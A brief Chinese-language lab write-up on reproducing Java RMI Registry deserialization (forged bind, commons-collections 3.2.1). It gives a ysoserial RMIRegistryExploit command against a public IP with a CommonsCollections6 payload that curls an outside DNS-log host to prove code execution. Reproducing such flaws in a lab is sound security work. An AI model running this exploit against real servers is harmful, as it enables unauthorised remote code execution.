原因
Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1).
复现
环境启动后,RMI Registry监听在1099端口。
通过ysoserial的exploit包中的RMIRegistryExploit进行攻击
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 101.43.191.94 1099 CommonsCollections6 "curl http://lhc.yy7yip.dnslog.cn"
